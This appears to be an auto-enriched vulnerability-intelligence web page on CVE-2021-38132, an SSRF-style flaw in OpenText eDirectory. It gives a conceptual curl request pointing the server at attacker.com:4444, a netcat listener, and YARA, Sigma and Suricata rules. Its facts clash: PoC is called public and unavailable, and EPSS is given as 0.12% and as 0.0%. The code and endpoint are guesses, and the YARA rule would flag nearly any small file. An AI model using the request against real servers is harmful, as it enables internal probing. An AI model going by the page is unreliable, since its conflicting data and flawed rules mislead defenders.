☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N 🐛 CWE-200
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2021-38132

CVE-2021-38132 Information Disclosure in Opentext
📅 PUBLISHED: 2024-09-12 12:42 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.12%
👁️
0.12% probability
3.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: N Integrity None
A: N Availability None
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2021-38132 is a security advisory for OpenText™ eDirectory, an LDAP-compliant directory service. The vulnerability is classified as an "External Service Interaction attack," which allows an unauthenticated, remote attacker to potentially probe or interact with external services through the affected system. This can lead to information disclosure and may serve as a stepping stone for further attacks. The CVSS score is 5.3 (Medium), and the EPSS probability is 0.0%, indicating low exploitation activity in the wild. No public proof-of-concept (PoC) code or exploit templates are currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the OpenText eDirectory product, which is a standalone enterprise directory service.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
  • Base Score: 5.3 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: Low (C:L)
  • Integrity Impact: None (I:N)
  • Availability Impact: None (A:N)

The threat level is Medium. The vulnerability allows an attacker to perform external service interaction attacks, which can be used to probe internal networks or exfiltrate data via outbound connections. While the direct impact is limited to low confidentiality, the potential for chaining with other vulnerabilities increases the risk.

Deep Dive & Mechanics

The vulnerability resides in OpenText eDirectory versions prior to 9.2.6.0000. It is an External Service Interaction (ESI) attack, which occurs when the application makes an outbound network request based on attacker-controlled input. In this case, an unauthenticated attacker can send specially crafted requests to the eDirectory service, causing it to connect to external systems. This can be used for:

  • Blind SSRF (Server-Side Request Forgery): The attacker can force the server to make requests to internal or external resources, potentially bypassing firewalls.
  • Information Disclosure: The attacker can observe timing or error responses to infer information about internal services.
  • Port Scanning: The attacker can use the eDirectory server as a proxy to scan internal networks.

The root cause is insufficient validation of user-supplied input that is used to construct network connections. The fix in version 9.2.6.0000 likely involves sanitizing or restricting such input.

Vulnerable vs. Patched Code

No specific code snippets are available for this vulnerability. However, the general pattern is:

Vulnerable Code (Conceptual):

# Example of vulnerable code that makes an external request based on user input
def handle_request(user_input):
    url = user_input.get('url')
    response = requests.get(url)  # No validation
    return response.text

Patched Code (Conceptual):

# Example of patched code with input validation
def handle_request(user_input):
    url = user_input.get('url')
    if not is_allowed_url(url):  # Validation added
        raise ValueError("URL not allowed")
    response = requests.get(url)
    return response.text

Exploitation & Lab Setup

Red Team

Since no public exploit code is available, a red team would need to craft a custom exploit. The attack vector is network-based and requires no authentication.

Lab Setup:

  1. Install OpenText eDirectory version 9.2.5.0000 (vulnerable) on a test server.
  2. Set up a listener (e.g., using nc -lvnp 4444) on an attacker-controlled machine.
  3. Send a crafted LDAP or HTTP request to the eDirectory server that triggers an outbound connection to the attacker's listener.

Example Request (Conceptual):

# Example using curl to trigger an external service interaction
curl -X POST "http://target:8028/edirectory/endpoint" \
  -d "url=http://attacker.com:4444/test"

Expected Outcome: The eDirectory server should initiate a connection to the attacker's listener, confirming the vulnerability.

Blue Team

Detection:

  • Monitor outbound connections from eDirectory servers to unknown or suspicious IP addresses.
  • Look for LDAP or HTTP requests with unusual parameters that contain URLs or IP addresses.
  • Use network segmentation to restrict eDirectory servers from making outbound connections to the internet.

Hunting:

  • Search for logs containing external IP addresses or domain names in request parameters.
  • Analyze network traffic for unexpected outbound connections from eDirectory servers.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound connections from eDirectory servers to unknown external IP addresses or domains.
    • Unusual LDAP or HTTP requests containing URLs or IP addresses in parameters.
  • Host IOCs:
    • Unexpected processes or services making outbound connections.
    • Log entries showing failed or successful connections to external hosts.

Detection Engineering

YARA Rule

rule CVE_2021_38132_External_Service_Interaction {
    meta:
        description = "Detects potential exploitation of CVE-2021-38132 in OpenText eDirectory"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2021-38132"
    strings:
        $s1 = "url=" nocase
        $s2 = "http://" nocase
        $s3 = "https://" nocase
        $s4 = "external" nocase
    condition:
        any of ($s*) and filesize < 10KB
}

Sigma Rule

title: CVE-2021-38132 - External Service Interaction in OpenText eDirectory
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential exploitation of CVE-2021-38132 by monitoring for outbound connections from eDirectory servers.
author: Valters IT
date: 2025/04/17
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-38132
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        Image|endswith: 'edirectory.exe'
        DestinationIp|startswith: '10.'  # Internal IPs
    condition: selection
falsepositives:
    - Legitimate administrative connections
level: medium

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2021-38132 - External Service Interaction from eDirectory"; flow:to_server; content:"|0d 0a|"; depth:2; content:"url="; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade OpenText eDirectory to version 9.2.6.0000 or later.
  2. If immediate patching is not possible, restrict outbound network access from eDirectory servers using firewalls or network ACLs.
  3. Monitor eDirectory logs for suspicious activity.

Long-Term Measures:

  • Implement network segmentation to isolate eDirectory servers.
  • Apply the principle of least privilege to eDirectory service accounts.
  • Regularly review and update security patches.

Workarounds:

  • Disable unnecessary features that allow external service interactions.
  • Use a web application firewall (WAF) to filter malicious requests.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

eDirectory
OpenText eDirectory

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2021-38132/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.